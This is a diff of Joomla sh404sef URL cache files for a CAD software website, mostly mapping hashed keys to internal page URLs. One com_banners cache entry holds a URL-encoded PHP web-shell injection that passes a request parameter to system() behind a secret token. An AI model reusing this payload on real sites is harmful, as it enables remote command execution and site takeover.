+$this->_urlCache['be83bcf3a3e3f4a8a543a77e1b0779dc']='index.php?option=com_k2&id=80&lang=en&view=item#item/80-satisfied-user#0'; +$this->_urlCache['95983a64c5de536907ede414c4fd1413']='index.php?option=com_k2&id=10&lang=en&task=category&view=itemlist#itemlist/category/10-fun-facts#0'; +$this->_urlCache['5014c42812c5ec73ed81760db810fa95']='index.php?option=com_k2&id=951&lang=en&task=user&view=itemlist#itemlist/user/951-herveloranthervindanbernadettszekeresdavid#0'; +$this->_urlCache['813db9ba1f1901302f95b81911eafd0f']='index.php?option=com_k2&id=81&lang=en&view=item#item/81-projects#0'; +$this->_urlCache['9106f704805ab51b198f3aaf49ecee78']='index.php?option=com_k2&id=82&lang=en&view=item#item/82-tweets#0'; +$this->_urlCache['45bb7c373da5fabace72870fcf276117']='index.php?option=com_k2&id=83&lang=en&view=item#item/83-facebook-likes#0'; +$shURLCacheCreationDate=1779692185; +$this->_urlCache['3dd01b1a75ba18aeee3cd5fb8c965449']='index.php?option=com_sppagebuilder&Itemid=124&id=93&lang=en&layout=edit&tmpl=component&view=form#edit/93#0'; +$shURLCacheCreationDate=1779692785; +$this->_urlCache['fc2284aae7410a13947779244d1957bf']='index.php?option=com_sppagebuilder&Itemid=124&id=101&lang=en&layout=edit&tmpl=component&view=form#edit/101#0'; +$shURLCacheCreationDate=1779693570; +$this->_urlCache['4afa8fe85effc93a3f2b22b367a02260']='index.php?option=com_sppagebuilder&Itemid=124&id=89&lang=en&layout=edit&tmpl=component&view=form#edit/89#0'; +$shURLCacheCreationDate=1779693874; +$this->_urlCache['855205e059c4eb2ee17e95fcfa0001a8']='index.php?option=com_sppagebuilder&Itemid=124&id=103&lang=en&layout=edit&tmpl=component&view=form#edit/103#0'; +$shURLCacheCreationDate=1779695076; +$this->_urlCache['b2c825335e4fd4c3471669bfdc8e1708']='index.php?option=com_sppagebuilder&Itemid=124&id=42&lang=en&layout=edit&tmpl=component&view=form#42-slab-mozaik/edit#0'; +$shURLCacheCreationDate=1779695323; +$this->_urlCache['580715764067676aadb27636c8d0ff34']='index.php?option=com_sppagebuilder&Itemid=124&id=104&lang=en&layout=edit&tmpl=component&view=form#edit/104#0'; +$shURLCacheCreationDate=1779695443; +$this->_urlCache['9d993102aa08a7844a91c91645c0c289']='index.php?option=com_content&Itemid=189&catid=42&id=399&lang=en&view=article#archline-xp/news/nicholas-sunderland-presentation-at-grand-design-live#0'; +$shURLCacheCreationDate=1779695564; +$this->_urlCache['bd6c4c5a65bd6813b64039d1c3879915']='index.php?option=com_sppagebuilder&Itemid=124&id=151&lang=en&layout=edit&tmpl=component&view=form#edit/151#0'; +$shURLCacheCreationDate=1779696279; +$this->_urlCache['7b27a0e8d2ed8e3abf0c4dac9764eda4']='index.php?option=com_sppagebuilder&Itemid=124&id=142&lang=en&layout=edit&tmpl=component&view=form#edit/142#0'; +$shURLCacheCreationDate=1779696706; +$this->_urlCache['6b17b81d2745d1868bc6635b14c322ea']='index.php?option=com_sppagebuilder&Itemid=124&id=37&lang=en&layout=edit&tmpl=component&view=form#edit/37#0'; +$shURLCacheCreationDate=1779696767; +$this->_urlCache['b2317f60f5329df9b1a426ec6d5b0602']='index.php?option=com_sppagebuilder&Itemid=124&id=69&lang=en&layout=edit&tmpl=component&view=form#edit/69#0'; +$shURLCacheCreationDate=1779697311; +$this->_urlCache['f759fabe6dee23b8a1074e582097ccfd']='index.php?option=com_sppagebuilder&Itemid=124&id=28&lang=en&layout=edit&tmpl=component&view=form#edit/28#0'; +$shURLCacheCreationDate=1779697431; +$this->_urlCache['87e581df81f3d5ea29b233d2057fb3ba']='index.php?option=com_sppagebuilder&Itemid=124&id=146&lang=en&layout=edit&tmpl=component&view=form#edit/146#0'; +$shURLCacheCreationDate=1779697556; +$this->_urlCache['c4a71d895c08cdbe836cc9bcd0415251']='index.php?option=com_sppagebuilder&Itemid=124&id=98&lang=en&layout=edit&tmpl=component&view=form#edit/98#0'; +$shURLCacheCreationDate=1779697675; +$this->_urlCache['2a11b1ab902315c003dee40d721a61a5']='index.php?option=com_sppagebuilder&Itemid=124&id=71&lang=en&layout=edit&tmpl=component&view=form#edit/71#0'; +$shURLCacheCreationDate=1779698036; +$this->_urlCache['6816e784f495253a327c0a73bc370c8a']='index.php?option=com_content&Itemid=189&catid=42&id=397&lang=en&view=article#archline-xp/news/come-and-see-us-at-kbb-birmingham-2016#0'; +$shURLCacheCreationDate=1779698587; +$this->_urlCache['4bb150c595b91b9667653b3998fdcf21']='index.php?option=com_sppagebuilder&Itemid=505&id=148&lang=en&view=page#education/tutorial-videos/archline-xp-architecture-level-1#0'; +$shURLCacheCreationDate=1779698761; +$this->_urlCache['b2d7fc2ffd8261b708a40c293d1e3e32']='index.php?option=com_content&Itemid=124&format=feed&id=70&lang=en&type=rss&view=category#tutorial-videos/terrain-and-site-plan/feed/rss#0'; +$this->_urlCache['063039d94dc0b306fcd0491ddd1c973a']='index.php?option=com_content&Itemid=124&format=feed&id=70&lang=en&type=atom&view=category#tutorial-videos/terrain-and-site-plan/feed/atom#0'; +$shURLCacheCreationDate=1779699182; +$this->_urlCache['0aa94f1742ca9a5917621c13aeebcefa']='index.php?option=com_content&Itemid=124&format=feed&id=85&lang=en&type=rss&view=category#tutorial-videos/documentation/create-a-plot-layout/feed/rss#0'; +$this->_urlCache['1bc039906b2028a130dce4f8ef3ca29c']='index.php?option=com_content&Itemid=124&format=feed&id=85&lang=en&type=atom&view=category#tutorial-videos/documentation/create-a-plot-layout/feed/atom#0'; +$shURLCacheCreationDate=1779699185; +$this->_urlCache['096515c5afaa78d8caeca73a3aace03f']='index.php?option=com_content&Itemid=124&format=feed&id=100&lang=en&type=rss&view=category#tutorial-videos/visuals/rendering/feed/rss#0'; +$this->_urlCache['6aab49fdc28aeb63dc42111d0710b815']='index.php?option=com_content&Itemid=124&format=feed&id=100&lang=en&type=atom&view=category#tutorial-videos/visuals/rendering/feed/atom#0'; +$shURLCacheCreationDate=1779699186; +$this->_urlCache['cab58b457d51f0028bc0e8dfdd7e3b4c']='index.php?option=com_sppagebuilder&Itemid=124&id=79&lang=en&layout=edit&tmpl=component&view=form#79-konyha-es-tarolobutor-tervezo/edit#0'; +$shURLCacheCreationDate=1779701116; +$this->_urlCache['06a94930608a6c274f02206a8955222f']='index.php?option=com_content&Itemid=189&format=feed&id=42&lang=en&limit=31&type=rss&view=category#archline-xp/news/feed/rss#0'; +$this->_urlCache['0935a92e4fb62d84f69050f82334bdcb']='index.php?option=com_content&Itemid=189&format=feed&id=42&lang=en&limit=31&type=atom&view=category#archline-xp/news/feed/atom#0'; +$this->_urlCache['f97334c40135ef24b28feaa532a28ec6']='index.php?option=com_content&Itemid=189&format=feed&id=42&lang=en&limit=31&limitstart=0&type=atom&view=category#archline-xp/news/feed/atom#0'; +$shURLCacheCreationDate=1779770876; +$this->_urlCache['4fd313e5b7eb347c2c0ea8b666891e33']='index.php?option=com_content&Itemid=124&catid=34&id=918&lang=en&view=article#download/software-license-agreement-2022#0'; +$shURLCacheCreationDate=1779796065; +$this->_urlCache['c3299dd11a0de2d327397b56fd6069d2']='index.php?option=com_users&lang=en&view=remind#lost-user-name/#0'; +$shURLCacheCreationDate=1779822065; +$this->_urlCache['4fe10ca83597c284b9777d146610ea8b']='index.php?option=com_users&lang=en&view=reset#lost-password/#0'; +$shURLCacheCreationDate=1779825543; +$this->_urlCache['84cd629b3bca88428cdc9048166cd370']='index.php?option=com_content&Itemid=189&catid=42&id=400&lang=en&view=article#archline-xp/news/decorex-2016-join-us-on-stand-b54#0'; +$shURLCacheCreationDate=1780135620; +$this->_urlCache['e96294902f395d7768f08cb9ab07a652']='index.php?option=com_content&Itemid=189&catid=42&id=524&lang=en&view=article#archline-xp/news/press-release#0'; +$shURLCacheCreationDate=1780356173; +$this->_urlCache['6d8427cfdd14e541c2938d540a5f3753']='index.php?option=com_content&Itemid=124&catid=34&id=919&lang=en&view=article#download/release-2022-lt-websetup#0'; +$shURLCacheCreationDate=1780361554; +$this->_urlCache['481d66776bb84cace180ab9489136488']='index.php?option=com_sppagebuilder&Itemid=0&id=132&lang=en&layout=edit&tmpl=component&view=form#132-2018-spring-sale/edit#0'; +$shURLCacheCreationDate=1780439079; +$this->_urlCache['52a487dd2d459e86afbd837c786a7aea']='index.php?option=com_content&Itemid=124&catid=34&id=931&lang=en&view=article#download/archline-xp-2022-live-websetup-download#0'; +$shURLCacheCreationDate=1780476532; +$this->_urlCache['169b2deed8b7e560eb36c10c4487ce74']='index.php?option=com_content&Itemid=124&format=feed&id=42&lang=en&layout=blog&type=rss&view=category#archline-xp/news/feed/rss#0'; +$this->_urlCache['76980d5d7b40b2c1aa4aaf7f6d2d02b6']='index.php?option=com_content&Itemid=124&format=feed&id=42&lang=en&layout=blog&type=atom&view=category#archline-xp/news/feed/atom#0'; +$shURLCacheCreationDate=1780681466; +$this->_urlCache['7a027ca0aee8e569a101594f69dec319']='index.php?option=com_icagenda&Itemid=666&id=108&lang=en&view=event#108-2025-update-day-november#0'; +$shURLCacheCreationDate=1780690896; +$this->_urlCache['d41e7c8e0fe05770636cc091124ccbb6']='index.php?option=com_sppagebuilder&Itemid=633&id=239&lang=en&view=page#products/archline-xp-live-old#1'; +$shURLCacheCreationDate=1780751761; +$this->_urlCache['2fa627930060c83a53a1a89dbbe396c7']='index.php?option=com_content&Itemid=267&catid=18&id=428&lang=en&view=article#education/tips-documentation/helping-tips/draw-horizontal-and-vertical-walls-with-direct-distance-entry#0'; +$shURLCacheCreationDate=1780939726; +$this->_urlCache['ede8990ee425c64f11a41e720e179732']='index.php?option=com_content&Itemid=775&id=1059&lang=en&view=article#legal/terms-of-use#0'; +$shURLCacheCreationDate=1781043667; +$this->_urlCache['ac9b5226226b5a92eab3b8b82a3a69f9']='index.php?option=com_sppagebuilder&Itemid=214&id=61&lang=en&view=page#download/download-center/downloadable-projects#1'; +$shURLCacheCreationDate=1781175590; +$this->_urlCache['b3019fbea4f35f0fd89808bc557784e9']='index.php?option=com_sppagebuilder&Itemid=516&id=158&lang=en&view=page#education/tutorial-videos/archline-xp-level-2/dimensioning-level-2#0'; +$shURLCacheCreationDate=1781197667; +$this->_urlCache['50b2c4eaed20ee52a61316f82b9f74dc']='index.php?option=com_sppagebuilder&Itemid=801&id=355&lang=en&layout=edit&tmpl=component&view=form#edit/355#0'; +$this->_urlCache['12741ddef6a8da66d17ec95a130dcfb9']='index.php?option=com_sppagebuilder&Itemid=801&id=355&lang=en&view=page#blog/rendering-competition-2026-winners#0'; +$shURLCacheCreationDate=1781267898; +$this->_urlCache['bb4b261134ccabe6fcd38bc6b08e342f']='index.php?option=com_content&Itemid=124&catid=34&id=834&lang=en&view=article#download/archline-xp-2020-live-websetup-download#0'; +$shURLCacheCreationDate=1781284687; +$this->_urlCache['4b6e9b5e71f97ed72decbba94b90e4ad']='index.php?option=com_content&Itemid=124&format=feed&id=59&lang=en&type=rss&view=category#archline-xp/gallery/feed/rss#0'; +$this->_urlCache['eb99f1866eab422412e3a36519767c2a']='index.php?option=com_content&Itemid=124&format=feed&id=59&lang=en&type=atom&view=category#archline-xp/gallery/feed/atom#0'; +$shURLCacheCreationDate=1781402624; +$this->_urlCache['89124504c9f581f083fff859649e1a10']='index.php?option=com_jsn&id=&lang=en&view=profile#jsn#0'; +$shURLCacheCreationDate=1781444561; +$this->_urlCache['fe9a96ac0b978b4e8e5eaad73690b684']='index.php?option=com_sppagebuilder&Itemid=288&id=81&lang=en&layout=edit&tmpl=component&view=form#81-fueggoenyoek/edit#0'; +$shURLCacheCreationDate=1781456503; +$this->_urlCache['4b7e525661b8cc5b09bc697b7c9cf57e']='index.php?option=com_content&Itemid=367&catid=25&id=1052&lang=en&view=article#blog/professional-articles/interested-in-a-smooth-transition-to-bim#0'; +$this->_urlCache['8b9ef747bbbc2aaa78982c3c3df0a23e']='index.php?option=com_content&Itemid=367&catid=25&id=1100&lang=en&view=article#blog/professional-articles/interview-with-stalin-oleas-the-journey-to-a-successful-archlinexp-residency-in-ecuador#0'; +$this->_urlCache['b5fadee62f7eff68b5eea73782dd5758']='index.php?option=com_content&Itemid=367&catid=25&id=960&lang=en&view=article#blog/professional-articles/choosing-the-right-tool-for-interior-design-4#0'; +$this->_urlCache['84b9b66d78783a6fe82d3c9a4e4b1a0e']='index.php?option=com_content&Itemid=367&catid=25&id=892&lang=en&view=article#blog/professional-articles/does-archline-xp-really-complement-gstarcad#0'; +$this->_urlCache['1545702d1348e819fae2563406f2e135']='index.php?option=com_content&Itemid=367&catid=25&id=893&lang=en&view=article#blog/professional-articles/2d-3d-and-bim-what-s-the-difference-old#1'; +$shURLCacheCreationDate=1781609519; +$this->_urlCache['a51536366f5dd1747334ccf26c96fe90']='index.php?option=com_sppagebuilder&Itemid=537&id=178&lang=en&view=page#education/tutorial-videos/archline-xp-architecture-level-1/stairs-ramp-architecture-level-1#0'; +$shURLCacheCreationDate=1781688115; +$this->_urlCache['0f21ffe168bceddbbbf7a7ce4581d0eb']='index.php?option=com_icagenda&lang=en#icagenda#0'; +$shURLCacheCreationDate=1781764617; +$this->_urlCache['169c01eaac920ead361de29e54c9ba42']='index.php?option=com_sppagebuilder&Itemid=503&id=146&lang=en&view=page#education/tutorial-videos/archline-xp-interior-level-1#0'; +$shURLCacheCreationDate=1782089887; +$this->_urlCache['ae698204a6c136d47a602695e772f205']='index.php?option=com_content&Itemid=189&catid=42&id=398&lang=en&view=article#archline-xp/news/archline-xp-2016-ifc-2x3-export-certification#0'; +$shURLCacheCreationDate=1782101496; +$this->_urlCache['b1885ac9f677daa139530cb67d53cac4']='index.php?option=com_sppagebuilder&id=100&lang=hu&view=page#hiba/404#1'; +$shURLCacheCreationDate=1782149977; +$this->_urlCache['5c7d5a0b1c555f95b7682f2972fd87e2']='index.php?option=com_sppagebuilder&Itemid=124&id=17&lang=en&layout=edit&tmpl=component&view=form#edit/17#0'; +$shURLCacheCreationDate=1782383236; +$this->_urlCache['c0c5b2552dd129fb25226acb0582193a']='index.php?option=com_sppagebuilder&Itemid=124&id=16&lang=en&layout=edit&tmpl=component&view=form#edit/16#0'; +$shURLCacheCreationDate=1782383253; +$this->_urlCache['363972d1735d3944dd39aac612a8ef50']='index.php?option=com_sppagebuilder&Itemid=511&id=153&lang=en&view=page#education/tutorial-videos/archline-xp-level-1/import-level-1#0'; +$shURLCacheCreationDate=1782435426; +$this->_urlCache['21a9367c360e94ce8a0414d09bc946b4']='index.php?option=com_sppagebuilder&Itemid=291&id=84&lang=en&layout=edit&tmpl=component&view=form#84-lepcso-es-korlat/edit#0'; +$shURLCacheCreationDate=1782502342; +$this->_urlCache['1e212fc0be1bc8bbe4f0adf5a0d0ab00']='index.php?option=com_joomgallery&lang=en&view=gallery#joomgallery#0'; +$shURLCacheCreationDate=1782530489; +$this->_urlCache['d78f6bf8499ee8d07f959b321b37b739']='index.php?option=com_joomgallery&Itemid=77&lang=en#joomgallery#0'; +$this->_urlCache['78f13365fce82b833fc2cd499314b39a']='index.php?option=com_joomgallery&Itemid=77&lang=en&view=search#search#0'; +$this->_urlCache['1e3497215b7f62b2c551ed18ef55f32f']='index.php?option=com_joomgallery&Itemid=77&lang=en&type=toprated&view=toplist#top-rated#0'; +$this->_urlCache['d779752bd853b087906ec852be309b25']='index.php?option=com_joomgallery&Itemid=77&lang=en&type=lastadded&view=toplist#last-added#0'; +$this->_urlCache['0383985c39bd87f58dc9859c4085a8f9']='index.php?option=com_joomgallery&Itemid=77&lang=en&type=lastcommented&view=toplist#last-commented#0'; +$this->_urlCache['6c0ab00ad6c06e200265576f7e73a5a0']='index.php?option=com_joomgallery&Itemid=77&lang=en&view=toplist#most-viewed#0'; +$shURLCacheCreationDate=1782530490; +$this->_urlCache['1471e83cfd8f3602f147730af3103db4']='index.php?option=com_sppagebuilder&lang=en#sppagebuilder#0'; +$shURLCacheCreationDate=1782553099; +$this->_urlCache['1e31a6e10a74eaae0b1b94358d64a5ea']='index.php?option=com_sppagebuilder&Itemid=274&id=67&lang=en&layout=edit&tmpl=component&view=form#67-5-napos-intenziv-kezdo-kurzus/edit#0'; +$shURLCacheCreationDate=1782602870; +$this->_urlCache['ae8b4e2c5afffead9b0f99a9bf288e56']='index.php?option=com_acym&lang=en#acym#0'; +$shURLCacheCreationDate=1782682077; +$this->_urlCache['5ff89b3ddc72501f91bd463d55085ae7']='index.php?option=com_banners&format=json&lang=en&task=click&view=click#banners/click#0'; +$shURLCacheCreationDate=1782734408; +$this->_urlCache['3f758ec8d8d74b34f4d022c2f1aa4efa']='index.php?option=com_banners&cid[0]=%3Cphp+if%28%28%24_GET%5B%22t%22%5D%3D%22%22%29%3D%3D%3D%22ZAS_udyccj%22%29%7B%40system%28%24_GET%5B%22c%22%5D%22id%22%29%3B%7Delse%7Bhttp_response_code%28404%29%3B%7D%3E&format=json&lang=en&view=click#banners/#0'; +$shURLCacheCreationDate=1782734411; +$this->_urlCache['732a972da9410266836cabd71e392a42']='index.php?option=com_contact&id=1&lang=en&view=contact#get-in-touch#0'; +$shURLCacheCreationDate=1782734421; +$this->_urlCache['fb96584397fcfbbfaea449162d786fd4']='index.php?option=com_finder&view=search&lang=en#search#0'; +$shURLCacheCreationDate=1782734437; +$this->_urlCache['6b754045dbc0c70c20b778efcfcf0b7d']='index.php?option=com_sppagebuilder&Itemid=802&id=356&lang=en&view=page#contact/about-us#0'; +$shURLCacheCreationDate=1782739904; +$this->_urlCache['0287f8f063b4d4b7a8578d64174deb4e']='index.php?option=com_sppagebuilder&Itemid=802&id=356&lang=en&layout=edit&tmpl=component&view=form#edit/356#0'; +$shURLCacheCreationDate=1782739906; +$this->_urlCache['a72ca0798f635b46b497fc137b289ca8']='index.php?option=com_sppagebuilder&Itemid=144&id=1&lang=en&view=page#home-dark#0'; +$this->_urlCache['6fe1fee6ffa31c6c4bcc24764dd2c123']='index.php?option=com_sppagebuilder&Itemid=348&id=100&lang=en&view=page#404-error#0'; +$this->_urlCache['7bcce35b286e9df01d9d3b442926cba4']='index.php?option=com_sppagebuilder&Itemid=444&id=133&lang=en&view=page#archline-xp/new-in-archline-xp-2018#0'; +$this->_urlCache['9499226638730b0ddb9fb144d5e51cfc']='index.php?option=com_sppagebuilder&Itemid=603&id=216&lang=en&view=page#landing-page#1'; +$shURLCacheCreationDate=1783060098; +$this->_urlCache['a72ca0798f635b46b497fc137b289ca8']='index.php?option=com_sppagebuilder&Itemid=144&id=1&lang=en&view=page#home-dark#0'; +$this->_urlCache['6fe1fee6ffa31c6c4bcc24764dd2c123']='index.php?option=com_sppagebuilder&Itemid=348&id=100&lang=en&view=page#404-error#0'; +$this->_urlCache['7bcce35b286e9df01d9d3b442926cba4']='index.php?option=com_sppagebuilder&Itemid=444&id=133&lang=en&view=page#archline-xp/new-in-archline-xp-2018#0'; +$this->_urlCache['9499226638730b0ddb9fb144d5e51cfc']='index.php?option=com_sppagebuilder&Itemid=603&id=216&lang=en&view=page#landing-page#1'; +$shURLCacheCreationDate=1783060100; +$this->_urlCache['ff8eef798e899132a0e9551209fcb72c']='index.php?option=com_content&Itemid=367&catid=25&id=1101&lang=en&view=article#blog/professional-articles/archlinexp-2026-scan-to-bim#0'; +$shURLCacheCreationDate=1783067625; +$this->_urlCache['2dc9decb771bdbdc909149ad7f63f5fa']='index.php?option=com_sppagebuilder&Itemid=144&id=1&lang=en&layout=edit&tmpl=component&view=form#edit/1#0'; +$shURLCacheCreationDate=1783182012; +$this->_urlCache['91d18162cb1796006ac7100eb67f5356']='index.php?option=com_joomgallery&lang=en#joomgallery#0'; +$shURLCacheCreationDate=1783568442; +$this->_urlCache['a520a57f0c41350dbcd1cb8aba43875c']='index.php?option=com_sppagebuilder&Itemid=803&id=357&lang=en&view=page#products/archlinexp-2026-r1#0'; +$shURLCacheCreationDate=1783672953; +$this->_urlCache['a520a57f0c41350dbcd1cb8aba43875c']='index.php?option=com_sppagebuilder&Itemid=803&id=357&lang=en&view=page#products/archlinexp-2026-r1#0'; +$shURLCacheCreationDate=1783672955; +$this->_urlCache['418212b59dde7511de2457160a4a9182']='index.php?option=com_sppagebuilder&Itemid=803&id=357&lang=en&layout=edit&tmpl=component&view=form#edit/357#0'; +$shURLCacheCreationDate=1783672957; +$this->_urlCache['6a76d1b9c095275663e8759e58698481']='index.php?option=com_sppagebuilder&Itemid=723&id=273&lang=en&layout=edit&tmpl=component&view=form#edit/273#0'; +$shURLCacheCreationDate=1783692425; +$this->_urlCache['17ea6a04bba0019fc2dd01b87d069d68']='index.php?option=com_content&Itemid=189&catid=42&id=564&lang=en&view=article#archline-xp/news/bimobject-and-cadline-ltd-sign-cooperation-agreement#0'; +$shURLCacheCreationDate=1784025037; +$this->_urlCache['81aaa9b647b59401620fc12788983e92']='index.php?option=com_acym&columns=id%2Cname&ctrl=frontentityselect&entity=list&join=none&offset=0&perCalls=1&task=loadEntityFront&lang=en#frontentityselect/loadentityfront/columns-idname/entity-list/join-none/offset-0/percalls-1#0'; +$shURLCacheCreationDate=1784076582; \ No newline at end of file diff --git a/deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.ff597811990a30e840dc472723de9475.php b/deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.ff597811990a30e840dc472723de9475.php new file mode 100644 index 00000000..e5e20334 --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.ff597811990a30e840dc472723de9475.php @@ -0,0 +1,1578 @@ +_urlCache['b1885ac9f677daa139530cb67d53cac4']='index.php?option=com_sppagebuilder&id=100&lang=hu&view=page#hiba/404#1'; +$this->_urlCache['865a8654b37635c366760eba814fbb94']='index.php?option=com_sppagebuilder&Itemid=0&id=100&lang=hu&layout=edit&tmpl=component&view=form#100-404-error/edit#0'; +$this->_urlCache['24c911632b521b8c56826f09b8c8d6f6']='index.php?option=com_sppagebuilder&Itemid=742&id=342&lang=hu&view=page#attekintes#1'; +$this->_urlCache['40b98f2544f23b0e8ca78714bfe41b05']='index.php?option=com_sppagebuilder&Itemid=740&id=340&lang=hu&view=page#attekintes/epiteszeti-elonyok#1'; +$this->_urlCache['5b8fabcda63b52fd3e0a5732058217c4']='index.php?option=com_sppagebuilder&Itemid=741&id=341&lang=hu&view=page#attekintes/belsoepiteszeti-elonyok#1'; +$this->_urlCache['55d8986940d6f81dae6a81301bbd64ba']='index.php?option=com_sppagebuilder&Itemid=743&id=343&lang=hu&view=page#attekintes/latvanytervezes#1'; +$this->_urlCache['54ebd63b65178d4f1b2da401bacfbfe4']='index.php?option=com_sppagebuilder&Itemid=744&id=344&lang=hu&view=page#attekintes/fotorealisztikus-megjelenites#1'; +$this->_urlCache['e413b67fc587e36e77cbc262d5f5d69b']='index.php?option=com_sppagebuilder&Itemid=787&id=390&lang=hu&view=page#termekek/ai-render#0'; +$this->_urlCache['6c46ce4f996f55102ebf7fcda028fdd7']='index.php?option=com_sppagebuilder&Itemid=793&id=395&lang=hu&view=page#termekek/d5-render-plugin#1'; +$this->_urlCache['ee2fb44ccb8a7d16a48d8789b56282fe']='index.php?option=com_sppagebuilder&Itemid=781&id=385&lang=hu&view=page#termekek/viewer-mobil-alkalmazas#0'; +$this->_urlCache['7ed41f22f964d196d7d0ae3e795e38c9']='index.php?option=com_sppagebuilder&Itemid=770&id=373&lang=hu&view=page#attekintes/ujdonsagok-2025#1'; +$this->_urlCache['19d7a7c134b6f7ab5c11f539f3e4cf7d']='index.php?option=com_sppagebuilder&Itemid=720&id=337&lang=hu&view=page#termekek/ujdonsagok#0'; +$this->_urlCache['657e058a73a0323b4331043d3381065c']='index.php?option=com_sppagebuilder&Itemid=648&id=279&lang=hu&view=page#termekek/archline-xp-live-2021#0'; +$this->_urlCache['a5a7f1b445a4a4aef68e2f2f583d0e4a']='index.php?option=com_sppagebuilder&Itemid=799&id=401&lang=hu&view=page#termekek/ujdonsagok-2026#0'; +$this->_urlCache['067f2c3e29ecd227d455cc06a6bcb829']='index.php?option=com_content&Itemid=366&id=24&lang=hu&layout=blog&view=category#blog/munkak-bemutatasa/#0'; +$this->_urlCache['fea6425fa65538143af33b19ef970fea']='index.php?option=com_content&Itemid=367&id=25&lang=hu&layout=blog&view=category#blog/szakmai-cikkek/#0'; +$this->_urlCache['329dd2e1ab2b59f87c5341b5422d7a44']='index.php?option=com_sppagebuilder&Itemid=381&id=104&lang=hu&view=page#termekek/archline-xp-professional/galeria#1'; +$this->_urlCache['542300e2ab18917b441d0effd2866c0c']='index.php?option=com_sppagebuilder&Itemid=750&id=359&lang=hu&view=page#termekek/archline-xp-professional/galeria/epiteszeti-galeria#1'; +$this->_urlCache['23bc39175acf7d884a148a999df69500']='index.php?option=com_sppagebuilder&Itemid=751&id=360&lang=hu&view=page#termekek/archline-xp-professional/galeria/belsoepiteszeti-galeria#1'; +$this->_urlCache['c9a8266a9eea3286b6895c034c29948b']='index.php?option=com_sppagebuilder&Itemid=791&id=394&lang=hu&view=page#blog/galeria/ai-render-galeria#0'; +$this->_urlCache['bb21dab8da1a78238f91019eb5506ea6']='index.php?option=com_sppagebuilder&Itemid=608&id=65&lang=hu&view=page#oktatas/dokumentaciok#1'; +$this->_urlCache['b0afbf1365523463b2ee2f12d1aa1e4c']='index.php?option=com_sppagebuilder&Itemid=681&id=304&lang=hu&view=page#oktatas/workshopok#1'; +$this->_urlCache['f4d1659cef593cc64567f4e45f9477a1']='index.php?option=com_sppagebuilder&Itemid=651&id=283&lang=hu&view=page#oktatas/webinariumok#1'; +$this->_urlCache['0eb4fcde6df8a31d37ad9708a38c211d']='index.php?option=com_sppagebuilder&Itemid=800&id=402&lang=hu&view=page#oktatas/ferenczi-eva-tanfolyam#0'; +$this->_urlCache['7d705b52eb5fa542235cba9073236cb4']='index.php?option=com_sppagebuilder&Itemid=758&id=365&lang=hu&view=page#oktatas/harosi-krisztina-render-tanfolyam#0'; +$this->_urlCache['379cc8b845696aeeb3f29b9adb9ceeb6']='index.php?option=com_sppagebuilder&Itemid=759&id=366&lang=hu&view=page#oktatas/harosi-krisztina-render-tanfolyam/belter#0'; +$this->_urlCache['943b49c6cf3f76273da6a2e878576061']='index.php?option=com_sppagebuilder&Itemid=763&id=369&lang=hu&view=page#oktatas/harosi-krisztina-render-tanfolyam/kulter#0'; +$this->_urlCache['f68df0b4690482cf4e1b4a69322dee0a']='index.php?option=com_sppagebuilder&Itemid=764&id=370&lang=hu&view=page#oktatas/harosi-krisztina-render-tanfolyam/photoshop#0'; +$this->_urlCache['d588d60b6b00e76ec5c3d8b742ca339e']='index.php?option=com_sppagebuilder&Itemid=780&id=384&lang=hu&view=page#oktatas/harosi-krisztina-render-tanfolyam/d5-render-alap#1'; +$this->_urlCache['15e33e370bba855063f3e1dceffc98ca']='index.php?option=com_sppagebuilder&Itemid=801&id=403&lang=hu&view=page#oktatas/harosi-krisztina-render-tanfolyam/d5-render-halado#1'; +$this->_urlCache['31a340a437d2219b04d6090373adde39']='index.php?option=com_sppagebuilder&Itemid=766&id=374&lang=hu&view=page#oktatas/aranyi-klaudia-tanfolyamok#0'; +$this->_urlCache['4cc496b38cc0679379fafbc488800cd0']='index.php?option=com_sppagebuilder&Itemid=767&id=375&lang=hu&view=page#oktatas/aranyi-klaudia-tanfolyamok/aranyi-klaudia-kezdo-tanfolyam#1'; +$this->_urlCache['0e6a51b24a8b2aa3ac9234586c99ebab']='index.php?option=com_sppagebuilder&Itemid=768&id=376&lang=hu&view=page#oktatas/aranyi-klaudia-tanfolyamok/aranyi-klaudia-halado-tanfolyam#0'; +$this->_urlCache['20ab894ada18cb4133100432353d83c7']='index.php?option=com_sppagebuilder&Itemid=786&id=389&lang=hu&view=page#oktatas/aranyi-klaudia-tanfolyamok/aranyi-klaudia-kiviteli-terv-tanfolyam#0'; +$this->_urlCache['9506eaabb6dc1bc6d2e344daf558cd46']='index.php?option=com_sppagebuilder&Itemid=769&id=377&lang=hu&view=page#oktatas/aranyi-klaudia-tanfolyamok/aranyi-klaudia-teto-es-lepcso-szerkesztes-tanfolyam#0'; +$this->_urlCache['9be11022228b6f95ccfb718d3f846cd6']='index.php?option=com_sppagebuilder&Itemid=193&id=132&lang=hu&view=page#oktatas/vizsgák#1'; +$this->_urlCache['76b160e1b9faf7bc4a4a98949e1654d9']='index.php?option=com_sppagebuilder&Itemid=347&id=99&lang=hu&view=page#oktatas/workshopok/esemenynaptar#0'; +$this->_urlCache['798303c403f91401a750c7d3817a763e']='index.php?option=com_sppagebuilder&Itemid=433&id=128&lang=hu&view=page#oktatas/workshopok/alapfoku-vizsga#0'; +$this->_urlCache['97fe969bcfa056aa48cae6428415e514']='index.php?option=com_sppagebuilder&Itemid=434&id=129&lang=hu&view=page#oktatas/workshopok/kozepfoku-vizsga#0'; +$this->_urlCache['8350ff20eba2eba90d12fa289e9452e6']='index.php?option=com_sppagebuilder&Itemid=435&id=293&lang=hu&view=page#oktatas/workshopok/alapfoku-tanfolyam#0'; +$this->_urlCache['b9b70c4478f44a38a47faf4198fcd728']='index.php?option=com_sppagebuilder&Itemid=549&id=203&lang=hu&view=page#oktatas/workshopok/alapfoku-hallgatoi-vizsga#0'; +$this->_urlCache['84525d8b946004cd225e41158ce03355']='index.php?option=com_sppagebuilder&Itemid=550&id=204&lang=hu&view=page#oktatas/workshopok/kozepfoku-hallgatoi-vizsga#0'; +$this->_urlCache['2d5f2b24c7e88899b5bc411f9730d954']='index.php?option=com_sppagebuilder&Itemid=589&id=238&lang=hu&view=page#oktatas/workshopok/lepcso-es-tetoter-szerkesztes#0'; 